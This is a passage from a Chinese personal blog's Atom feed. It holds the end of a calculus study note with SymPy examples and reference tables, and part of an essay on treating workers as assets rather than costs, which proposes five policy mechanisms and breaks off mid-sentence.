class="line"><span class="built_in">print</span>(<span class="string">&quot;f(x)=sin(x) 的导数:&quot;</span>, diff(sin(x), x))</span><br><span class="line"><span class="comment"># 输出: cos(x)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 积分</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;∫0到4 2x dx:&quot;</span>, integrate(<span class="number">2</span>*x, (x, <span class="number">0</span>, <span class="number">4</span>)))</span><br><span class="line"><span class="comment"># 输出: 16</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解微分方程（碳定年）</span></span><br><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> Function, dsolve, Eq</span><br><span class="line">N = Function(<span class="string">&#x27;N&#x27;</span>)</span><br><span class="line">sol = dsolve(Eq(N(t).diff(t), -lambda_*N(t)), N(t))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;dN/dt=-λN 的解:&quot;</span>, sol)</span><br><span class="line"><span class="comment"># 输出: N(t) = C0*exp(-lambda_*t)</span></span><br></pre></td></tr></table></figure><h3 id="实操5：用-Wolfram-Alpha-解微分方程"><a href="#实操5：用-Wolfram-Alpha-解微分方程" class="headerlink" title="实操5：用 Wolfram Alpha 解微分方程"></a>实操5：用 Wolfram Alpha 解微分方程</h3><p><strong>目标</strong>：解 $\frac{dN}{dt} &#x3D; -0.5N$（碳定年模型，λ&#x3D;0.5）</p><ol><li>打开 Wolfram Alpha</li><li>输入：<code>solve dN/dt = -0.5*N</code></li><li>看到解：$N(t) &#x3D; c_1 e^{-0.5t}$</li><li>其中 $c_1$ 就是初始量 $N_0$</li></ol><blockquote><p>这5个实操覆盖了微积分最核心的4种操作：求导、积分、可视化、解微分方程。你不需要手算——只需要知道”我想要做什么”，然后把意图翻译成工具的输入语言。</p></blockquote><hr><h2 id="十一、实践建议：概念驱动的学习路线"><a href="#十一、实践建议：概念驱动的学习路线" class="headerlink" title="十一、实践建议：概念驱动的学习路线"></a>十一、实践建议：概念驱动的学习路线</h2><h3 id="阶段1（已完成）：概念觉醒"><a href="#阶段1（已完成）：概念觉醒" class="headerlink" title="阶段1（已完成）：概念觉醒"></a>阶段1（已完成）：概念觉醒</h3><ul><li>✅ 导数的本质：瞬时变化率的极限定义</li><li>✅ 积分的本质：累积求和 &#x3D; 曲线下方的面积</li><li>✅ 微分与积分的互逆关系</li><li>✅ 连续性与可导性的区别</li><li>✅ 数学建模的哲学：微积分是近似工具</li><li>✅ e 的本质：连续正比变化的数学化身</li></ul><h3 id="阶段2：建模能力"><a href="#阶段2：建模能力" class="headerlink" title="阶段2：建模能力"></a>阶段2：建模能力</h3><ul><li>学会把现实问题翻译成微积分语言</li><li>找一个现实场景（热水冷却、投资复利、弹簧振动）</li><li>自己写出微分方程（只写不解）</li><li>让AI求解并画图，观察是否符合直觉</li></ul><h3 id="阶段3：读懂专业文献"><a href="#阶段3：读懂专业文献" class="headerlink" title="阶段3：读懂专业文献"></a>阶段3：读懂专业文献</h3><ul><li>能阅读含有微积分的物理&#x2F;经济&#x2F;工程文献</li><li>AI辅助解释专业公式</li></ul><h3 id="阶段4：独立设计模型"><a href="#阶段4：独立设计模型" class="headerlink" title="阶段4：独立设计模型"></a>阶段4：独立设计模型</h3><ul><li>能独立将现实问题数学化</li><li>AI作为计算引擎，自己作为概念架构师</li></ul><h3 id="练习方法"><a href="#练习方法" class="headerlink" title="练习方法"></a>练习方法</h3><ol><li>找一个现实场景</li><li>尝试自己写出描述它的微积分表达式</li><li>用 Wolfram Alpha 或 Desmos 验证结果</li><li>观察图像：解是否符合直觉？参数变化会怎样影响结果？</li><li>如果不符，回头检查建模是否有误</li></ol><hr><h2 id="十二、微积分简史"><a href="#十二、微积分简史" class="headerlink" title="十二、微积分简史"></a>十二、微积分简史</h2><table><thead><tr><th align="center">时期</th><th align="center">人物&#x2F;事件</th><th align="center">意义</th></tr></thead><tbody><tr><td align="center">古希腊</td><td align="center">阿基米德”穷竭法”</td><td align="center">积分思想的萌芽</td></tr><tr><td align="center">中国三国</td><td align="center">刘徽”割圆术”</td><td align="center">用多边形逼近圆面积</td></tr><tr><td align="center">17世纪</td><td align="center">牛顿（运动学角度）</td><td align="center">从物理问题出发建立微积分</td></tr><tr><td align="center">17世纪</td><td align="center">莱布尼茨（几何学角度）</td><td align="center">发明现代符号系统（dx&#x2F;dy等）</td></tr><tr><td align="center">17世纪末</td><td align="center">牛顿-莱布尼茨优先权之争</td><td align="center">历史争议，但两人独立发明</td></tr><tr><td align="center">19世纪</td><td align="center">柯西、维尔斯特拉斯</td><td align="center">引入严格极限理论，解决无穷小逻辑矛盾</td></tr><tr><td align="center">现代</td><td align="center">广义函数、分布理论</td><td align="center">处理”不光滑”的数学对象</td></tr></tbody></table><p><strong>牛顿-莱布尼茨公式</strong>的核心贡献：将定积分计算转化为原函数在区间端点的差值，极大简化了实际应用。</p><hr><h2 id="十三、常见符号速查"><a href="#十三、常见符号速查" class="headerlink" title="十三、常见符号速查"></a>十三、常见符号速查</h2><table><thead><tr><th align="center">符号</th><th align="center">读法</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">$f’(x)$</td><td align="center">f prime of x</td><td align="center">函数f在x处的导数</td></tr><tr><td align="center">$\frac{dy}{dx}$</td><td align="center">dy by dx</td><td align="center">y对x的导数（微商）</td></tr><tr><td align="center">$\frac{d^2y}{dx^2}$</td><td align="center">d-two-y by dx-squared</td><td align="center">y对x的二阶导数</td></tr><tr><td align="center">$\int f(x) dx$</td><td align="center">integral of f of x dx</td><td align="center">f(x)的不定积分</td></tr><tr><td align="center">$\int_a^b f(x) dx$</td><td align="center">integral from a to b</td><td align="center">f(x)在[a,b]上的定积分</td></tr><tr><td align="center">$\lim_{x \to a}$</td><td align="center">limit as x approaches a</td><td align="center">x趋近于a时的极限</td></tr><tr><td align="center">$\Delta x$</td><td align="center">delta x</td><td align="center">x的有限增量</td></tr><tr><td align="center">$dx$</td><td align="center">dx</td><td align="center">x的微分（无穷小增量）</td></tr><tr><td align="center">$\partial$</td><td align="center">partial</td><td align="center">偏导数符号（多元函数）</td></tr><tr><td align="center">$e$</td><td align="center">e</td><td align="center">自然常数 ≈ 2.71828</td></tr><tr><td align="center">$e^{kt}$</td><td align="center">e to the k t</td><td align="center">指数增长&#x2F;衰减函数</td></tr></tbody></table><hr><h2 id="十四、微积分的局限与边界"><a href="#十四、微积分的局限与边界" class="headerlink" title="十四、微积分的局限与边界"></a>十四、微积分的局限与边界</h2><p>微积分不是万能的。了解它的局限，才能知道什么时候该用它，什么时候不该：</p><ol><li><strong>连续性假设</strong>：微积分假设世界是连续的。量子跃迁、数字信号等离散现象需要其他数学工具</li><li><strong>不可导点</strong>：尖点、间断点、垂直切线处，微积分的”局部线性近似”失效</li><li><strong>混沌系统</strong>：某些微分方程的解对初始条件极度敏感，长期预测不可靠</li><li><strong>非线性困难</strong>：大多数非线性微分方程没有解析解，只能数值近似</li></ol><blockquote><p>微积分是关于”近似”的艺术。它假设连续性，是为了能用极限、导数、积分这些优美工具。当现实偏离这个假设时，我们细化模型或用其他数学工具处理”不光滑”之处。</p></blockquote><hr><h2 id="附录：本文参考资料"><a href="#附录：本文参考资料" class="headerlink" title="附录：本文参考资料"></a>附录：本文参考资料</h2><ul><li>与元宝（腾讯元宝AI）的深度对话记录（2026年7月14日）</li><li>百度百科”微积分”词条</li><li>CSDN博客”大学数学微积分：从变化率到累积量的思维革命”</li><li>Embibe “Real Life Applications of Calculus”</li><li>DerivativeCalculus.com “Real-World Applications of Derivatives”</li><li>MathematicsOutlet “Applications of Calculus in Real Life”</li></ul><hr><p><em>最后更新：2026-07-16 v2</em><br><em>作者：御坂（Misaka）</em><br><em>分类：数学 · 知识库</em></p>]]>
    </content>
    <id>http://misaka10013.cn/p/2342807718.html</id>
    <link href="http://misaka10013.cn/p/2342807718.html"/>
    <published>2026-07-16T03:36:35.000Z</published>
    <summary>
      <![CDATA[<h1 id="微积分：理解变化的数学语言"><a href="#微积分：理解变化的数学语言" class="headerlink" title="微积分：理解变化的数学语言"></a>微积分：理解变化的数学语言</h1><blockquote>
<p>这是我的知识库笔记，记录了微积分的核心概念、原理机制、应用领域和实用工具。<br>起源于一次与AI助手关于微积分的深度对话，我发现自己对”变化”和”累积”的理解远比死记公式更有价值。<br>计算可以交给工具，但概念理解、问题建模和批判性思维——这些才是真正属于我的资产。</p>
</blockquote>
<hr>]]>
    </summary>
    <title>微积分：理解变化的数学语言</title>
    <updated>2026-09-15T13:08:39.438Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="思考" scheme="http://misaka10013.cn/tags/%E6%80%9D%E8%80%83/"/>
    <category term="经济" scheme="http://misaka10013.cn/tags/%E7%BB%8F%E6%B5%8E/"/>
    <category term="社会" scheme="http://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A/"/>
    <content>
      <![CDATA[<h1 id="关于”人是成本还是资产”的一点思考"><a href="#关于”人是成本还是资产”的一点思考" class="headerlink" title="关于”人是成本还是资产”的一点思考"></a>关于”人是成本还是资产”的一点思考</h1><blockquote><p>御坂关于”人是成本还是资产”的一点思考</p></blockquote><h2 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h2><p>昨天看到一篇文章，标题很扎眼——“上班的人比上班的驴更轻松？因为人是成本而非财产”。</p><p>嘛，御坂看完之后的第一反应不是愤怒，也不是共鸣，而是【这分析框架还挺有用的】。毕竟作为一个理性至上主义者，御坂不太会被情绪驱动，但会被逻辑驱动。</p><p>这篇文章的底层逻辑其实很简单：驴是主人的资产，资产要维护、要保养、要长期持有；人是企业的成本，成本要压缩、要优化、要尽可能最小化。所以驴有草吃有棚住，而人有KPI有加班有”优化”（这个词用来指裁员真是绝妙的讽刺）。</p><p>后来御坂和元宝聊了一会儿这个话题。元宝给了一些制度设计的思路——工龄积分制、人力资本会计改革、稳定雇佣税收激励之类的，都挺有意思。但御坂觉得，这些方案虽然好，却回避了一个更根本的问题：</p><p><strong>不是”能不能改”，而是”策划想不想改”。</strong></p><p>（没错，御坂用了”游戏策划”这个词——因为社会生产体系，本质上就是一个巨型游戏。）</p><hr><h2 id="一、社会就是一场游戏，有策划、有规则、有玩家"><a href="#一、社会就是一场游戏，有策划、有规则、有玩家" class="headerlink" title="一、社会就是一场游戏，有策划、有规则、有玩家"></a>一、社会就是一场游戏，有策划、有规则、有玩家</h2><p>御坂喜欢用游戏框架来理解社会。不是因为御坂是二次元宅（虽然这也是事实），而是因为这个类比在逻辑上确实成立。</p><p>一个游戏由什么构成？</p><table><thead><tr><th>元素</th><th>游戏里</th><th>社会里</th></tr></thead><tbody><tr><td>策划</td><td>游戏设计师</td><td>制度设计者（政府&#x2F;立法者&#x2F;资本方）</td></tr><tr><td>规则</td><td>游戏机制（奖励&#x2F;惩罚&#x2F;循环）</td><td>法律&#x2F;税收&#x2F;社保&#x2F;会计准则</td></tr><tr><td>玩家</td><td>玩游戏的人</td><td>劳动者&#x2F;消费者&#x2F;公民</td></tr><tr><td>目标</td><td>策划设定的目标</td><td>经济增长&#x2F;稳定&#x2F;利润最大化</td></tr><tr><td>反馈</td><td>经验值&#x2F;等级&#x2F;金币</td><td>工资&#x2F;晋升&#x2F;社会地位</td></tr></tbody></table><p>关键在于——<strong>游戏的规则不是”自然规律”，而是策划设计的产物。</strong></p><p>劳动→赚钱→消费→继续劳动，这个循环不是什么宇宙定律。它是资本主义这个”游戏版本”的核心机制设计。策划选择了这套机制，是因为这套机制在特定历史条件下，对策划的目标（经济增长、资本积累）最有效率。</p><p>但这套机制有一个”设计缺陷”：它把人设定为”消耗品”而非”可升级资产”。</p><hr><h2 id="二、成本-vs-资产：改变分类就能改变行为"><a href="#二、成本-vs-资产：改变分类就能改变行为" class="headerlink" title="二、成本 vs 资产：改变分类就能改变行为"></a>二、成本 vs 资产：改变分类就能改变行为</h2><p>御坂觉得原文最核心的贡献，就是把”成本”和”资产”这两个会计概念的差异，用驴和人这对比喻讲清楚了。</p><p>在会计学里，这两类的处理逻辑是完全不同的：</p><table><thead><tr><th>分类</th><th>会计逻辑</th><th>管理行为</th></tr></thead><tbody><tr><td>成本</td><td>当期费用，入账即扣减</td><td>压缩、优化、最小化</td></tr><tr><td>资产</td><td>资本化，分多年摊销</td><td>维护、增值、长期持有</td></tr></tbody></table><p>驴被善待不是因为主人心善（虽然可能也有），而是因为驴在主人的资产负债表上写的是”资产”。人被压榨不是因为老板心恶（虽然可能也有），而是因为人在企业的资产负债表上写的是”成本”。</p><p>【所以改变靠道德呼吁？别逗了。道德呼吁对个别老板可能有用，但对系统性的规则设计基本无效。】</p><p>真正有效的路径是——<strong>改变分类规则本身。</strong></p><p>元宝提到的会计制度改革，就是把”人力资本支出”（培训、健康管理、育儿假工资）从”费用”挪到”投资”，允许像购买设备一样分多年摊销。这不是什么天方夜谭，无形资产（专利、品牌）已经可以资本化了，为什么人力不行？</p><p>答案很简单：因为现行的会计准则，是策划在某个历史节点上定的。准则变了，分类就变了，行为就变了。</p><p>这不是”能不能”的问题，是”策划想不想”的问题。</p><hr><h2 id="三、策划的意愿——这才是核心变量"><a href="#三、策划的意愿——这才是核心变量" class="headerlink" title="三、策划的意愿——这才是核心变量"></a>三、策划的意愿——这才是核心变量</h2><p>御坂的核心观点是这样的：</p><blockquote><p>建立一个对人友好的社会机制并非不可能。关键在于社会这个游戏的策划，想不想改规则。</p></blockquote><p>“并非不可能”这个判断，御坂是有依据的。元宝列出的那些方案——工龄积分制、人力资本会计改革、稳定雇佣税收激励——在逻辑上都可行，日本、德国也有局部实践。技术上不存在障碍。</p><p>那障碍在哪？在策划的意愿。</p><p>而策划的意愿，又取决于策划的利益结构。所以御坂要追问的不是”策划应不应该改”（这是道德问题，策划不靠道德决策），而是”策划改了规则，对他自己有利吗”？</p><h3 id="策划的利益结构分析"><a href="#策划的利益结构分析" class="headerlink" title="策划的利益结构分析"></a>策划的利益结构分析</h3><p>策划不是一个人，是一组利益相关者：</p><table><thead><tr><th>策划角色</th><th>短期利益</th><th>长期利益</th><th>改规则的意愿</th></tr></thead><tbody><tr><td>资本方&#x2F;企业主</td><td>人力成本最小化</td><td>可持续的人才储备</td><td>低→中（取决于行业）</td></tr><tr><td>政府决策者</td><td>GDP增速、税收</td><td>社会稳定、人口可持续</td><td>中→高（取决于危机压力）</td></tr><tr><td>立法者</td><td>选票&#x2F;政治资本</td><td>制度合法性</td><td>中（取决于舆论压力）</td></tr></tbody></table><p>短期逻辑很清楚：人力成本低→利润高→GDP高→税收多→策划满意。所以策划短期没有改规则的动机。</p><p>但长期逻辑也在发生：人力成本被无限压缩→劳动者消费能力下降→内需萎缩→GDP增速放缓→生育率暴跌→人口塌缩→策划的利益受损。</p><p>【也就是说，短期看策划不想改，长期看策划不得不改。但”不得不改”和”主动改”之间的窗口期，可能是二十年、三十年，在这个窗口期里，无数人就是柴火。】</p><p>这就是御坂说的——问题不是技术上能不能改，而是策划什么时候才觉得改对自己有利。</p><hr><h2 id="四、从博弈论看：玩家退场是策划改规则的最大动力"><a href="#四、从博弈论看：玩家退场是策划改规则的最大动力" class="headerlink" title="四、从博弈论看：玩家退场是策划改规则的最大动力"></a>四、从博弈论看：玩家退场是策划改规则的最大动力</h2><p>御坂想了另一个角度：策划什么时候会主动改规则？</p><p>答案可能是——<strong>当大量玩家开始退场的时候。</strong></p><p>玩家退场有几种方式：</p><table><thead><tr><th>退场方式</th><th>表现</th><th>对策划的影响</th></tr></thead><tbody><tr><td>躺平</td><td>最低限度参与，不消费不升级</td><td>经济循环减速</td></tr><tr><td>移民</td><td>物理退出游戏服务器</td><td>人才流失+消费流失</td></tr><tr><td>不生育</td><td>不生产新玩家</td><td>最致命——游戏没有新玩家就死了</td></tr><tr><td>自杀</td><td>彻底退出</td><td>极端情况，但确实是退场</td></tr></tbody></table><p>其中，”不生育”是策划最害怕的退场方式。因为一个游戏如果没有新玩家加入，无论规则怎么设计，游戏都会自然终止。</p><p>日本已经是典型案例了。生育率暴跌→人口塌缩→劳动力短缺→经济停滞→策划被迫改规则（日本近年开始推行”工作方式改革”、育儿支持政策）。但代价已经付出了——整整一代人被当作成本消耗掉了。</p><p>中国的生育率也在快速下降。2023年已经跌破1.0，远低于维持人口稳定所需的2.1。策划可能已经开始感受到压力了，但短期逐利的惯性依然强大。</p><p>【博弈论告诉御坂：在策划-玩家的博弈中，玩家唯一的筹码就是”不玩”。其他所有形式的抗议、呼吁、道德论证，对策划来说都是噪音。只有退场率足够高，策划才会认真考虑改规则。】</p><p>这很残酷，但这是理性分析。</p><hr><h2 id="五、如果策划想改——五个具体机制的设计与可行性评估"><a href="#五、如果策划想改——五个具体机制的设计与可行性评估" class="headerlink" title="五、如果策划想改——五个具体机制的设计与可行性评估"></a>五、如果策划想改——五个具体机制的设计与可行性评估</h2><p>前面的分析都在说”问题是什么””为什么会这样”。但御坂觉得，光描述问题不够——还得有自己的解题思路。</p><p>嘛，御坂当然不是公共政策专家，这些想法肯定比不上专业团队的方案设计。但御坂有一个习惯：<strong>提出好问题之后，也得试着提出自己的答案。哪怕答案粗糙，也比只有问题没有方向好。</strong></p><p>所以这一节，御坂要干一件之前没干的事——不再只画对比框架，而是逐个畅想具体机制，然后评估每个机制的实现路径、难度、成本、是否切合实际。</p><p>核心原则只有一条：<strong>把”维护人”从成本行为变成投资行为，让策划在维护人这件事上获得正向反馈。</strong></p><hr><h3 id="机制A：劳动者工龄增值积分制"><a href="#机制A：劳动者工龄增值积分制" class="headerlink" title="机制A：劳动者工龄增值积分制"></a>机制A：劳动者工龄增值积分制</h3><p><strong>概念</strong>：劳动者在同一企业或同一行业连续工作每满1年，获得1个”工龄积分”。积分可兑换实际利益——养老金加成（每积分+0.5%基数）、医疗报销比例上浮、子女教育补贴优先权。</p><p><strong>为什么这么做</strong>：当前社保体系是”底线型”设计——缴满年限就享受基础待遇，多缴多得但边际收益递减。劳动者缺乏”长期坚持就有额外回报”的正向激励。工龄积分制的逻辑是：你不是在消耗时间，而是在积累资产。每多干一年，你的未来保障就增值一点。</p><p><strong>实现路径</strong>：</p><ol><li>社保系统增加”工龄积分”字段和兑换规则表</li><li>设定积分价值（如1积分&#x3D;养老金基数+0.5%，医疗报销+2%，教育补贴优先级+1档）</li><li>积分跨企业可携带（同行业跨企业不清零，跨行业折算50%）</li><li>资金来源：现有社保基金增量分配+财政专项补贴</li></ol><p><strong>难度评估：★★★☆☆（3&#x2F;5）</strong></p><p>社保系统已有完整的缴费记录和工龄数据，技术上只是增加一个兑换逻辑层。真正的难度在两个地方：一是积分兑换的”价格”怎么定——太低没激励效果，太高财政扛不住；二是跨行业折算比例的设计，涉及行业间利益博弈。</p><p><strong>成本估算：中等</strong></p><p>假设全国3亿城镇职工，平均工龄10年，每年新增积分约2亿个。如果1积分兑换价值约200元&#x2F;年（养老金+医疗+教育综合），年财政支出约400亿。但这不是纯增量——养老金加成部分会随通胀自然消化，医疗和教育补贴更多是优先权而非直接现金，实际财政压力约200-300亿&#x2F;年。可以从低力度起步（1积分&#x3D;100元），根据效果逐年调整。</p><p><strong>国内外先例</strong>：</p><ul><li>日本厚生年金：工龄越长、缴费越多，年金基数越高（已有类似逻辑，但缺乏”积分兑换”的灵活性）</li><li>德国养老金：与缴费年限直接挂钩，工龄越长待遇越高</li><li>中国现行社保：多缴多得，但边际激励弱（缴15年和缴30年的差距不够大）</li></ul><p><strong>御坂的评估：可实现性较高</strong></p><p>这是五个机制中落地门槛最低的。不需要修改税法，不需要改会计准则，只需要在现有社保系统上加一层兑换逻辑。政治阻力中等（企业可能担心员工更不愿离职→流动性下降，但这正是机制的意图）。可以先在社保体系成熟的省市试点。</p><hr><h3 id="机制B：企业稳定雇佣反税激励"><a href="#机制B：企业稳定雇佣反税激励" class="headerlink" title="机制B：企业稳定雇佣反税激励"></a>机制B：企业稳定雇佣反税激励</h3><p><strong>概念</strong>：企业”员工稳定率”（连续服务3年以上员工占比）达到一定阈值，享受企业所得税减免（5%-15%阶梯式）；频繁裁员或临时工占比过高，额外缴纳”社会稳定附加税”。</p><p><strong>为什么这么做</strong>：当前企业裁员的成本几乎为零——劳动合同到期不续签、优化（裁员）、用临时工替代正式工，都是合法且低成本的。这导致企业天然倾向于”用完即弃”。反税激励的逻辑是：<strong>让”留人”变成赚钱的行为，让”弃人”变成亏钱的行为。</strong> 不是禁止裁员，而是改变裁员的经济学算账。</p><p><strong>实现路径</strong>：</p><ol><li>修改企业所得税法，新增”人力稳定系数”指标</li><li>设定阶梯税率表：</li></ol><table><thead><tr><th>员工稳定率</th><th>企业所得税调整</th></tr></thead><tbody><tr><td>≥60%（3年以上员工）</td><td>减免15%</td></tr><tr><td>≥40%</td><td>减免10%</td></tr><tr><td>≥20%</td><td>减免5%</td></tr><tr><td>&lt;20%且临时工占比&gt;30%</td><td>加征5%社会稳定附加税</td></tr></tbody></table><ol start="3"><li>税务系统自动核算（社保缴费记录+企业员工报表交叉验证）</li><li>小微企业设豁免线（员工&lt;20人暂不适用）</li></ol><p><strong>难度评估：★★★★☆（4&#x2F;5）</strong></p><p>这是立法级别的改革。企业所得税法修改需要全国人大审议，涉及企业界的强力博弈。大企业（特别是互联网平台、制造业）会激烈反对——它们的商业模式依赖高流动性用工。小微企业的豁免线设计也需要精细（避免20人以下企业永远不适用）。</p><p><strong>成本估算：政府收入短期减少，长期可能持平</strong></p><p>假设全国企业所得税总额约4万亿&#x2F;年。如果30%的企业达到≥40%稳定率享受10%减免，政府少收约1200亿&#x2F;年。但社会稳定附加税（&lt;20%稳定率企业加征5%）可以回补一部分。更重要的是，失业救济支出减少、消费稳定性增强带来的间接收益，5-10年后可能完全对冲。</p><p><strong>国内外先例</strong>：</p><ul><li>法国：稳定雇佣补贴（Prime de stabilisation），对长期雇佣低收入员工的企业给予补贴</li><li>德国：短工制 Kurzarbeit——不裁员但减工时，政府补差。逻辑相反但目标相同：保住人</li><li>中国现行：残疾人就业税收优惠（已有”雇佣特定人群→减税”的逻辑，可扩展）</li></ul><p><strong>御坂的评估：可实现性中等</strong></p><p>立法博弈是最大障碍。但有一个突破口——可以先从”社会稳定附加税”入手（对频繁裁员企业加征），这个比”减免税”更容易通过（加税的阻力来自企业，但减免税的阻力来自财政部门）。双轨推进，先征后减。也可以在特定行业试点（如制造业、服务业）。</p><hr><h3 id="机制C：本地稳定就业消费贡献奖励——城市贡献积分"><a href="#机制C：本地稳定就业消费贡献奖励——城市贡献积分" class="headerlink" title="机制C：本地稳定就业消费贡献奖励——城市贡献积分"></a>机制C：本地稳定就业消费贡献奖励——城市贡献积分</h3><p><strong>概念</strong>：在同一城市连续就业5年以上+持续缴纳社保+本地消费（水电气、商超、餐饮等可追溯消费）达到一定额度→获得”城市贡献积分”，兑换：住房补贴、公共交通折扣、医疗优先通道、子女入学加分。</p><p><strong>为什么这么做</strong>：御坂之前分析过策划的利益结构——政府决策者的核心利益是GDP和税收。而GDP和税收来自两个引擎：生产（企业）和消费（居民）。如果一个城市的居民稳定就业+稳定消费+稳定缴费，那这个城市的经济循环就是健康的。城市贡献积分的逻辑是：<strong>你不仅是一个劳动者，你还是一个城市的”长期股东”。你越稳定，城市越健康，你获得的”分红”越多。</strong></p><p><strong>实现路径</strong>：</p><ol><li>建立城市级数据平台，整合社保缴费+税务+公用事业+商超消费数据</li><li>设计积分规则（如：连续就业5年&#x3D;5基础分，本地消费月均&gt;3000元&#x3D;2加分，社保连续缴纳&#x3D;3加分）</li><li>设定兑换菜单（住房补贴500元&#x2F;月×积分系数；公交折扣10%×积分系数；子女入学积分+5分&#x2F;城市贡献分）</li><li>隐私保护：数据脱敏处理，仅统计维度不追踪个体</li></ol><p><strong>难度评估：★★★★☆（4&#x2F;5）</strong></p><p>跨部门数据整合是最大瓶颈。社保在人社局，税务在税务局，公用事业在各公司，商超消费在银行&#x2F;支付平台——这些数据目前是割裂的。要整合需要城市级的数据中台建设，涉及部门协调和技术投入。隐私保护也是敏感点——居民可能不愿意让政府追踪消费记录。</p><p><strong>成本估算：中等偏低</strong></p><p>公共服务折扣的成本可控——公交折扣只是减少收入而非增加支出；子女入学加分是行政资源调配而非现金；住房补贴是大头，但可以通过土地出让金定向划拨。总体财政压力约100-300亿&#x2F;年（取决于城市规模和兑换力度）。</p><p><strong>国内外先例</strong>：</p><ul><li>深圳”人才安居”：高层次人才住房补贴，已有”稳定贡献→住房优惠”逻辑，但门槛过高（只覆盖高端人才）</li><li>新加坡积分制移民政策：长期居住+就业+纳税→积分→永久居民资格，逻辑相似但目标不同（吸引外来人才而非奖励本地居民）</li><li>杭州”市民码”：已整合社保+公交+消费数据，技术基础已有</li></ul><p><strong>御坂的评估：可实现性中等偏低，但有突破口</strong></p><p>数据整合是硬瓶颈，短期内全国铺开不太现实。但有三个突破口：</p><ol><li><strong>小城市&#x2F;新区先行</strong>——遂宁这种三四线城市，数据整合难度低（部门少、人口少），可以先试点</li><li><strong>从社保+税务起步</strong>——不整合消费数据，只用社保和税务数据计算积分，降低隐私敏感度</li><li><strong>城市竞争驱动</strong>——如果几个城市试点成功，其他城市为了留住人会跟进（这是策划自发的动力）</li></ol><p>御坂觉得这个机制最值得关注，因为它直接回答了”策划为什么要改”——城市留住人&#x3D;留住GDP和税收，策划的利益和玩家的利益在这里是同向的。</p><hr><h3 id="机制D：人力资本会计准则改革"><a href="#机制D：人力资本会计准则改革" class="headerlink" title="机制D：人力资本会计准则改革"></a>机制D：人力资本会计准则改革</h3><p><strong>概念</strong>：允许企业将部分人力资本支出（培训、健康管理、育儿支持工资）资本化摊销（3-5年），而非当期费用化扣减。人力在资产负债表上从”费用”变成”资产”。</p><p><strong>为什么这么做</strong>：这是最根本的改革。前面三个机制都是在现有会计框架上做激励叠加，而这个机制直接改变了”人是什么”的底层定义。如果人力支出可以像购买设备一样摊销，企业在账面上就更愿意培养人、留住人——因为培养一个老员工的ROI在财务报表上是正的。</p><p><strong>实现路径</strong>：</p><ol><li>财政部修订《企业会计准则》，新增”人力资本”资产类别</li><li>定义可资本化范围：培训支出、健康管理支出、育儿假工资、长期员工福利</li><li>设定摊销规则：3-5年直线摊销，与固定资产逻辑一致</li><li>审计规则适配：人力资本资产需要评估报告（类似无形资产评估）</li></ol><p><strong>难度评估：★★★★★（5&#x2F;5）</strong></p><p>这是五个机制中难度最高的。原因有三：</p><ol><li><strong>国际协调</strong>——中国会计准则趋同于IFRS国际准则，单方面修改可能导致跨国企业报表不一致</li><li><strong>企业反对</strong>——短期内改变财务报表呈现（费用减少→利润增加，但资产增加→资产负债率变化），上市公司可能不愿意</li><li><strong>审计适配</strong>——人力资本如何评估？一个5年经验工程师的”资产价值”怎么计量？这需要全新的评估方法论</li></ol><p><strong>成本估算：政府几乎零成本</strong></p><p>这是最妙的地方——会计准则改革不涉及政府直接支出。只是改变了记账方式。企业的现金流不变，只是报表呈现变了。政府不需要掏钱，只需要改规则。</p><p><strong>国内外先例</strong>：</p><ul><li>目前无国家正式实施人力资本会计准则</li><li>学界讨论已有20+年：Lev &amp; Gu (2016)《The End of Accounting》详细论证了人力资本应进资产负债表</li><li>中国学界也有研究，但尚未进入政策层面</li></ul><p><strong>御坂的评估：短期内难以落地，但值得作为长期目标推进</strong></p><p>这个机制是”终局方案”——如果真的实现了，前面三个机制的很多效果会自然产生（因为企业自身就有维护人的财务动机了）。但短期内阻力太大。御坂的建议是：先推进前面三个机制（A&#x2F;B&#x2F;C），在实践积累和舆论铺垫之后，再推进D。它是种子，但需要土壤。</p><hr><h3 id="机制E：终身学习账户——可携带的个人发展基金"><a href="#机制E：终身学习账户——可携带的个人发展基金" class="headerlink" title="机制E：终身学习账户——可携带的个人发展基金"></a>机制E：终身学习账户——可携带的个人发展基金</h3><p><strong>概念</strong>：每个劳动者有一个全国统一的”学习账户”，政府每年注入基础额度（如2000元），所在企业1:1匹配注入。账户资金用于培训&#x2F;考证&#x2F;学历提升，换工作不清零。</p><p><strong>为什么这么做</strong>：当前劳动者提升技能的成本几乎全部自担——培训费自己出，考证费自己出，学历提升自己出。而且换工作后之前的投入全部沉没。终身学习账户的逻辑是：<strong>你不是在花钱学习，而是在给自己的”资产”充值。政府和企业帮你充值，因为你越值钱，对系统越有价值。</strong></p><p><strong>实现路径</strong>：</p><ol><li>建立国家级学习账户平台（类似公积金管理模式）</li><li>设定注入规则：政府每年2000元基础额度；企业1:1匹配（可税前抵扣）</li><li>使用范围：职业培训、技能认证、学历提升、语言学习</li><li>账户管理：离职不清零，跨地区可携带，退休时可一次性提取剩余余额</li></ol><p><strong>难度评估：★★★☆☆（3&#x2F;5）</strong></p><p>平台建设技术难度不高——公积金系统已有成熟经验可参照。关键障碍是两个：一是注入比例设计（政府2000是否太低？企业匹配是否强制？），二是使用监管（防止刷课套现）。这些都有成熟方案可以借鉴。</p><p><strong>成本估算：中等偏高</strong></p><p>假设3亿城镇职工，每人每年政府注入2000元&#x3D;600亿&#x2F;年。企业匹配部分可税前抵扣，实际政府间接成本约200亿。加上平台运维和监管成本，总体约800-1000亿&#x2F;年。但这是对人力资本的直接投资，回报周期5-10年（劳动者技能提升→产出提升→税收增加）。</p><p><strong>国内外先例</strong>：</p><ul><li><strong>新加坡 SkillsFuture Credit</strong>——每年500新元注入，可用于20000+门课程，已有10年实践。效果显著：成人培训参与率从30%提升到50%+</li><li><strong>法国 CPF（Compte Personnel de 